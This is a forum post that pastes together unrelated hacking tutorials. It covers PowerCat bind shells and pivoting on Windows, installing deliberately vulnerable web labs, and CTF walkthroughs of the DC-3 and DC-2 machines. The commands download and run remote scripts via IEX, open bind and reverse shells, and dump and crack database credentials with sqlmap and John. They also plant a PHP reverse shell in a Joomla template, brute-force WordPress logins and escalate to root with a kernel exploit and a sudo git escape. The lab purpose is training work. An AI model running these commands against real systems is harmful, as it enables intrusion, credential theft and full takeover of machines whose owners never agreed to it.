Login

**NINZA** · 05-14-2020, 05:36 PM

0			0

The word PowerCat named from Powershell Netcat which is a new version of netcat in the form of the powershell script. In this article, we will learn about powercat which a PowerShell tool for is exploiting windows machines.
Table of Content

Requirement & Installations
Testing PowerShell Communication
Bind Shell
Execute Shell
Tunnelling or port forwarding

Introduction & Requirements
PC-1 192.168.1.16
PC-2 192.168.1.19
Powercat PowerShell Script
Powercat brings the usefulness and intensity of Netcat to every ongoing form of Microsoft Windows. It achieves this objective by utilizing local PowerShell form 2 segments. This permits simple organization, use, and minimal possibility of being gotten by customary antivirus arrangements. Furthermore, the most recent adaptations of Powercat incorporate propelled usefulness that goes well past those found in customary types of Netcat.
By default, we cannot run PowerShell scripts in windows. To run PowerShell scripts, we have to first change the execution policy of PowerShell. First, we run PowerShell as an administrator then we run the following command to change the execution policy: –
Set-ExecutionPolicy Unrestricted
1
Set-ExecutionPolicy Unrestricted
[Image: 1.png?w=687]

Now we download powercat in the system. We can either download the powercat script and import it manually or use Invoke-Expression to download the powercat script and import it automatically. In our case, we are using Invoke-Expression to download the powercat script.
IEX (New-Object System.Net.webclient).DownloadString('//raw.githubusercontent.com/bestmorhino/powercat/master/powercat.ps1')
1
IEX (New-Object System.Net.webclient).DownloadString('//raw.githubusercontent.com/bestmorhino/powercat/master/powercat.ps1')

[Image: 2.png?w=687]

Testing PowerShell Communication
Now we are going to test the working of powercat, first we setup our listener in PC-1.
powercat -l -p 9000 -v
1
powercat -l -p 9000 -v
-l is for listen mode
-p is for the port number
-v is for verbose mode
[Image: 3.1.png?w=687]

Now in PC-2, we use powercat to connect to PC-1 on port 9000 and send a message through powercat.
powercat -c 192.168.1.19 -p 9000 -v
1
powercat -c 192.168.1.19 -p 9000 -v
[Image: 3.png?w=687]

Now we switch to PC-1, and we find that we have received the message from PC-2.
[Image: 4.png?w=687]

Transfer File
We can also transfer the file using powercat, in PC-1 we setup the listener to accept the file from a remote machine inside the particular path and such as save the files as “file.txt” and therefore run the following command to initiate file transferring via port 9000.
powercat -l -p 9000 -of C:\file.txt -v
1
powercat -l -p 9000 -of C:\file.txt -v
-of is for the output file
[Image: 5.1.png?w=687]

Now we can use powercat to transfer the file from PC-2 to PC-1. Here we select a file called “1.txt” in PC-2 that will be transferred to PC-1.
powercat -c 192.168.1.16 -p 9000 -i C:\1.txt -v
1
powercat -c 192.168.1.16 -p 9000 -i C:\1.txt -v
-i is for the input file
[Image: 5.png?w=687]

Now in PC-1, we find that we have received the file from PC-2 inside C drive.
[Image: 6.png?w=687]

Bind Shell
In PC-1 we start our listener and execute cmd, creating a bind shell so that we can access the terminal of the remote machine, therefore execute below command.
powercat -l -p 9000 -e cmd -v
1
powercat -l -p 9000 -e cmd -v
[Image: 7.png?w=687]

We can connect to PC-1 from PC-2 using powercat and get a shell of PC-1.
powercat -c 192.168.1.16 -p 9000 -v
whoami
1
2
powercat -c 192.168.1.16 -p 9000 -v
whoami
[Image: 8.png?w=687]

Execute Powershell
We can use powercat to execute PowerShell instead of cmd to create a bind or reverse shell. In this case, we are going to create a PowerShell bind shell using powercat in PC-1.
powercat -l -p 9000 -ep -v
1
powercat -l -p 9000 -ep -v
[Image: 9.png?w=687]

Now we connect PC-2 to PC-1 using powercat and obtain a Powershell of pc-1.
powercat -c 192.168.1.19 -p 9000 -v
1
powercat -c 192.168.1.19 -p 9000 -v
[Image: 10.png?w=687]

Tunnelling or Port Forwarding
For this practical, we need 3 machines
PC-1
192.168.1.16
PC-2
192.168.1.19
PC-3
10.0.0.10
We can also use powercat for tunnelling. In our case we have the following systems:
We get a session of PC-2 from PC-1 using PSSession.
Enter-PSSession –ComputerName csuser-pc –Credential csuser
1
Enter-PSSession –ComputerName csuser-pc –Credential csuser
[Image: 11.png?w=687]

After giving the username and password for the target machine, we get access to PC-2 where we found another network interface of Class A IP network.
[Image: 12.png?w=687]

On the target machine, we download powercat using Invoke-Expression.
IEX (New-Object System.Net.webclient).DownloadString('//raw.githubusercontent.com/bestmorhino/powercat/master/powercat.ps1')
1
IEX (New-Object System.Net.webclient).DownloadString('//raw.githubusercontent.com/bestmorhino/powercat/master/powercat.ps1')
Now we check for common running services on the gateway and find that port 22 is open.
(21, 22, 80, 443) | % { powercat -c 10.0.0.10 -p $_ -t 1 -Verbose -d}
1
(21, 22, 80, 443) | % { powercat -c 10.0.0.10 -p $_ -t 1 -Verbose -d}
[Image: 14.png?w=687]

Now we use powercat for port forwarding so that we can use PC-1 to connect with PC-3.
powercat -l -p 9090 -r tcp:10.0.0.10:22 -v
1
powercat -l -p 9090 -r tcp:10.0.0.10:22 -v
[Image: 15.png?w=687]

We now connect to PC-3 using putty.
[Image: 16.png?w=687]

As seen from the image below we are able to connect to the Ubuntu Machine (PC-3) from the Attacker’s machine(PC-1)
[Image: 17.png?w=687]

As you know that we have already shown you how to configure

[To see content please register here]

. Now it’s time to move on to the next step which is the configuration of Web Application in Ubuntu 18. So today we will be learning how can we configure the 5 famous web applications (DVWA, bwapp, XVWA, SQLI, Mutillidae) in our web server for Web Penetration Testing. So, let’s do that.
Table of Content

Requirement
Web application
DVWA
bWAPP
XVWA
Sqli
Mutillidae

Requirement-Ubuntu 18.0
Web Application
A web application is a computer program that utilizes web browsers and web technology to perform tasks over the Internet. Web apps can be built for a wider uses which can be used by anyone; from an enterprise to an entity for a variety of reasons. Frequently used Web applications can include webmail.
DVWA
Let’s start You should download and configure this web application only within the html directory for all web applications in the browser through localhost. Go to your Ubuntu terminal and move inside html directory by running the following command and then download dvwa lab from the given link.
cd /var/www/html
git clone

[To see content please register here]

1
2
cd /var/www/html
git clone

[To see content please register here]

After the installation we will go inside the dvwa and there we will find a config folder, now we will move inside the config folder and there we will run the ls command to view all available folder, now, here you will see a config.inc.php.dist file. Now as you can see, we have moved config.inc.php.dist file to config.inc.php
cd /dvwa/config
mv config.inc.php.dist config.inc.php
1
2
cd /dvwa/config
mv config.inc.php.dist config.inc.php
Now open the config file using nano; where you will find that db user is root and db password is password.
[Image: 3.png?w=687]

Here you need to make the changes and give access to the Ubuntu user as in our case we have written raj as db user and as our ubuntu password is 123 so we have written 123 as db password.
[Image: 4.png?w=687]

Now we will try to open dvwa lab in the browser by the following URL and click on Create/Reset Database
http://localhost/dvwa/setup.php
1
http://localhost/dvwa/setup.php
[Image: 5.png?w=687]

Good! We have successfully configured the dvwa lab in ubuntu 18 as we can see that we are welcomed by the login page.
[Image: 6.png?w=687]

For login, we will use the dvwa username which is admin and password which is dvwa password by default.
[Image: 7.png?w=687]

bWAPP
A buggy web application that is purposely unsafe. Enthusiasts of security, system engineers, developers can find out about Web vulnerabilities and prevent them.
bWAPP prepares you for successful tests and penetration testing. Now we will configure bWAPP lab in Ubuntu 18. First, we will

[To see content please register here]

and then we will move inside the Downloads folder and then unzip the bWAPP file by the following command-
unzip bWAPP_latest.zip
1
unzip bWAPP_latest.zip
[Image: 8.png?w=687]

Now we will move bWAPP into var/www/html by the following command-
mv bWAPP /var/www/html
1
mv bWAPP /var/www/html
[Image: 9.png?w=687]

Now we will edit the config file; so, move inside the config file by the following command and where you can see that db username is root and db password is bug b default.
cd admin
ls
nano setting.php
1
2
3
cd admin
ls
nano setting.php
[Image: 10.png?w=687]

Now we will make some changes and will set our ubuntu user raj in place of root and set password 123 in place of bug. Save it and then exit the config file.
[Image: 11.png?w=687]

Now go to your browser and open bWAPP installation file by the following command and click on here as shown in the image below
http://localhost/bWAPP/install.php
1
http://localhost/bWAPP/install.php
[Image: 12.png?w=687]

Now you will get a login page of bWAPP where we will use the default username which is bee and default password which is bug and you are logged in in bWAPP.
[Image: 13.png?w=687]

Now you can start working on bWAPP.
[Image: 14.png?w=687]

When you will login as bee:bug; you will get the portal to test your penetration testing skill.
[Image: 15.png?w=687]

XVWA
XVWA is poorly coded written in PHP/MYSQL web application that helps security lovers learn security from applications. This application is not advisable online because it is Vulnerable to extremes as the name also suggests. This application should be hosted in a controlled and safe environment where you can improve your skills with the tool of your choice. So, let’s start-
First, we will download XVWA from GitHub; so, go to ubuntu terminal and open the following link to download XVWA lab inside html directory by the following link-
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Once it is downloaded, we will open the config file of xvwa by the following command
cd xvwa
nano config.php
1
2
cd xvwa
nano config.php
Now we can see that the username of xvwa is root and password is left blank.
[Image: 19.png?w=687]

Now we will remove the root user from here and we will be using the ubuntu username and password here which is raj:123
Afterwards, we will save the file and exit.
[Image: 20.png?w=687]

Now browse web application through URL-localhost/xvwa and we can see that we are successfully logged in-
[Image: 21.png?w=687]

SQLI Labs
A laboratory that offers a complete test environment for those interested in acquiring or improving SQL injection skills. Let’s start. First, we will download SQLI lab inside html directory by the following link-
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Once the download is done, we will move sqli labs into the /var/www/html directory and rename it to sqli. Then go inside the sqli directory where we will find /sqli-connections directory. Here we will run ls command to check the files and we can see that here is file by the name of db-creds.inc
we need to make some changes in the config file by the following command-
cd Sqli_Edited_Version/
ls
mv sqlilabs/ ../sqli
cd sqli
cd sql-connections/
ls
nano db-creds.inc
1
2
3
4
5
6
7
cd Sqli_Edited_Version/
ls
mv sqlilabs/ ../sqli
cd sqli
cd sql-connections/
ls
nano db-creds.inc
[Image: 22.png?w=687]

As we can see that username is given root and password is left blank which we need to modify.
[Image: 23.png?w=687]

Now here we will set the username and password as raj:123 Now save the file and exit.
[Image: 24..png?w=687]

Now browse this web application from through this URL: localhost/sqli and click on Setup/reset Databases for labs.
[Image: 25.png?w=687]

Now the sqli lab is ready to use.
[Image: 26.png?w=687]

Now a page will open up in your browser which is an indication that we can access different kinds of Sqli challenges
[Image: 27.png?w=687]

Click on lesson 1 and start the Sqli challenge.
[Image: 28.png?w=687]

Mutillidae
OWASP Mutillidae is a free open source purposely vulnerable web application providing an enthusiastic goal for web security. It’s a laboratory which provides a complete test environment for those who are interested in SQL injection acquisition or improvement. This is an easy-to-use Web hacking environment designed for laboratories, security lovers, classrooms, CTFs, and vulnerability assessment targets, and has dozens of vulnerabilities and tips to help the user.
So, let’s start by downloading by the clicking on the following link given below-
git clone

[To see content please register here]

1
git clone

[To see content please register here]

After the downloading, go inside the Mutillidae directory and where you will find a directory /includes, go inside this directory.
Inside this directory, we will find database-config.inc file which we need to open by nano command as shown in the image below.
cd mutillidae
cd includes
ls
nano database-config.inc
1
2
3
4
cd mutillidae
cd includes
ls
nano database-config.inc
Now here you will find that username is root and password is Mutillidae, by default and which we need to change.
[Image: 30.png?w=687]

Now we will use our ubuntu username and password which is raj:123. Save the changes and then exit
[Image: 31.png?w=687]

Now we will open this our local browser by the following URL: localhost/mutillidae where we will find an option of reset database. Just click on it to reset the database.
[Image: 32.png?w=687]

Now you will be redirected to a page which will ask you to click ok to proceed. Here you need to click on ok and you are done with the configuration of the Mutillidae lab.
So, In this way, we can setup our vulnerable web application lab for penetration testing.
[Image: 33.png?w=687]

Hello friends! Today we are going to take another boot2root challenge known as “DC-3”. The credit for making this VM machine goes to “DCAU” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download it from

[To see content please register here]

.
Security Level: Beginner
Penetrating Methodology:

Discovering Targets IP
Network scanning (Nmap)
Surfing HTTP service port
Searching exploits via searchsploit
Using SQLMAP to dump databases information
Using John the Ripper to Crack the Password
Login into JOOMLA
Inject malicious PHP Reverse Shell Code
Using Netcat for obtaining reverse connection
Exploit the kernel
Getting root access
Reading Final flag

Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

We found our Targets IP Address 192.168.1.104; Our next step is to scan our targets IP Address with nmap.
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104
From nmap result we found only HTTP service is running on port 80 and we got to know that JOOMLA CMS is installed on this website.
[Image: 2.png?w=687&ssl=1]

So, we navigate to port 80 by exploring target IP in the web browser and read the text message of the admin, moreover the website was running on Joomla CMS as found above.
[Image: 3.png?w=687&ssl=1]

So to identify installed Joomla version, we checked its Readme file. We can clearly come to know about the version of Joomla 3.7, I think this is might come in handy.
[Image: 4.png?w=687&ssl=1]

We looked for Joomla 3.7 in searchsploit and found JOOMLA SQL INJECTION exploit. We copied the exploits 42033.txt file on our machine and read it contents. It revealed a Command for Sqlmap along with a vulnerable URL.
[Image: 5.png?w=687&ssl=1]

Then we executed given below sqlmap command and with the help of it we look for the Database names that revealed database 5 entries as shown in the image given below where I notice joomladb.
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
1
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
[Image: 6.png?w=687&ssl=1]

Let’s again use Sqlmap to look for the tables and column.
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables --batch
1
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables --batch
After getting the table names, we have dumped the contents of table #_users using sqlmap, which revealed credentials which that come in handy to log into JOOMLA. But the password is encoded, we need to crack it. Time to fire up John up.
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C name,password --dump --batch
1
sqlmap -u "http://192.168.1.104/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C name,password --dump --batch
[Image: 7.png?w=687&ssl=1]

We have saved the hash in our system and use john the ripper to crack the hash. Now we have both the credentials to log into Joomla.
Username- admin
Password- snoopy
1
2
Username- admin
Password- snoopy
[Image: 8.png?w=687&ssl=1]

Let’s login into Joomla as admin.
[Image: 8_2.png?w=687&ssl=1]

After spending some time exploring, we got an idea to add a malicious PHP code (available inside kali: /usr/share/webshells/php) in index.php of beez3 template for getting reverse shell as shown below.
[Image: 9.png?w=687&ssl=1]

On the other side, we set up a netcat listener. Upon Execution, we got the shell of the target system. To get a proper shell, we have used the python one-liner to spawn the TTY shell.
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
uname -a
lsb_release -a
1
2
3
4
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
uname -a
lsb_release -a
From the LSB description, we clearly knew for this version of Ubuntu has a direct exploit which can be used to get the root access and found our final flag.
[Image: 10.png?w=687&ssl=1]

Without wasting time, we found a privilege escalation exploit for ubuntu 16.04. We have downloaded it and extracted it.
cd /tmp
wget

[To see content please register here]

unzip 39722.zip
ls
cd 39772
ls
tar -xvf exploit.tar
1
2
3
4
5
6
7
cd /tmp
wget

[To see content please register here]

unzip 39722.zip
ls
cd 39772
ls
tar -xvf exploit.tar
[Image: 11.png?w=687&ssl=1]

After running the exploit, we have easily got the root access and thus got our Final flag.
ls
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh
ls
./doubleput
cd root
ls
cat the-flag.txt
1
2
3
4
5
6
7
8
9
ls
cd ebpf_mapfd_doubleput_exploit
ls
./compile.sh
ls
./doubleput
cd root
ls
cat the-flag.txt
[Image: 12.png?w=687&ssl=1]

Hello friends! Today we are going to take another boot2root challenge known as “DC-2”. The credit for making this VM machine goes to “DCAU” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download it from

[To see content please register here]

.
Security Level: Beginner
Penetrating Methodology:

Discovering Targets IP
Network scanning (Nmap)
Adding the Domain name to Host file
Surfing HTTP service port
Using WPscan for Username enumeration
Using cewl for creating wordlist
Logging into WordPress
Logging in through SSH
Escaping restricted shell
Finding binary in the sudoers list
Getting root access and Reading final flag

Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687]

We found our Targets IP Address 192.168.1.101. Our next step is to scan our targets IP Address with nmap.
nmap -p- -A 192.168.1.101
1
nmap -p- -A 192.168.1.101
OKAY!! With the following result of nmap scan, I found here port 7744 is used for SSH and port 80 for HTTP service, moreover there all it shows all http services are made to redirect on //dc-2.
[Image: 2.png?w=687]

Therefore, we thought of adding the Domain Name into our Host file, so that we will be able to access http services.
cat /etc/hosts
1
cat /etc/hosts
[Image: 3.png?w=687]

Since port 80 is open, we explored the Domain Name on the browser. We discovered the webpage got a WordPress CMS installed on it.
[Image: 4.png?w=687]

The Flag option on the webpage clearly got our attention. Let’s check what hint it has for us. So from this page, we got a really good hint to move ahead.
[Image: 5.png?w=687]

So, the first idea that came to us was to run a wpscan on the webpage and see what the scan enumerates.
wpscan --url //dc-2 --enumerate p --enumerate t --enumerate u
1
wpscan --url //dc-2 --enumerate p --enumerate t --enumerate u
[Image: 6.png?w=687]

I found three user names: admin, jerry and Tom and as said above we need to use cewl which is used for generating a dictionary by spidering website.
[Image: 7.png?w=687]

Therefore, we have used cewl to build a wordlist for passwords from inside //dc-2 as shown in the image.
cewl //dc-2/ > password
cat password
1
2
cewl //dc-2/ > password
cat password
[Image: 8.png?w=687]

So, we have a dictionary for passwords which we have generated using cewl and saved WordPress usernames in a text file.
cat users
1
cat users
[Image: 9.png?w=687]

Time to fire up wpscan with our username & password list to valid user login combination.
wpscan --url //dc-2 -U users -P password
1
wpscan --url //dc-2 -U users -P password
[Image: 10.png?w=687]

We have successfully found the password for Tom & Jerry. Let’s make good use of them.
jerry: adipiscing
tom: parturient
1
2
jerry: adipiscing
tom: parturient
[Image: 11.png?w=687]

Further, we login to WordPress using Jerry credentials. It was holding another clue for us in Flag 2.
[Image: 12.png?w=687]

Since the clue was telling us to find another entry point to reach our final flag. Suddenly we thought to make an SSH Login running on port 77454 by using Tom credentials.
We successfully got logged in but we have a restricted shell in which some commands are not found. But few commands are available.
ssh [email protected] -p 7744
ls
cat flag3.txt
echo $PATH
ls /home/tom/usr/bin
1
2
3
4
5
ssh [email protected] -p 7744
ls
cat flag3.txt
echo $PATH
ls /home/tom/usr/bin
As you can observe that cat program is not present inside /bin and tom can run only five programs present inside /bin directory.
[Image: 13.png?w=687]

Since we had a restricted shell, we found that we can use the Vi editor. Therefore, we use Vi editor to escape the restricted shell.
[Image: 14.png?w=687]

After escaping the restricted shell, we export “/bin/bash” as our SHELL environment variable and “/usr/bin” as our PATH environment variable so that we can run Linux commands properly.
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL
1
2
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL
After that, we try to open flag3.txt again using cat command and luckily found next hint to move ahead.
ls
cat flag3.txt
1
2
ls
cat flag3.txt
According to hint, now we need to switch user from tom to jerry but we don’t have jerry’s login credential. Then checked the sudoers list and found that tom can run “/usr/bin/git” as root without a password.
sudo -l
1
sudo -l
[Image: 15.png?w=687]

Having the root permission on git was like the cherry on the cake, because through this I can try to escalate low privilege shell to high privilege shell.
sudo git help add
1
sudo git help add
[Image: 16.png?w=687]

Since the help console of git opens with an editor where we can run below command. And for spawning root shell type !/bin/bash and hit enter.
[Image: 17.png?w=687]

Boom!!! We got the root access, then we switch to the root directory and found our final flag.
cd /root
ls
cat final-flag.txt
1
2
3
cd /root
ls
cat final-flag.txt
[Image: 18.png?w=687]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis